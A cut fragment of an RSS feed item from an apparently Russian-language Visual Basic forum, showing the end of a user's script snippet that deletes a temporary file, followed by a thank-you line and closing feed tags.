&nbsp; &nbsp;fso.DeleteFile(ws.CurrentDirectory+&quot;\&quot;+tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">} catch(e) {</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Заранее большое спасибо&#33; :wub:]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      </channel>
      </rss>
	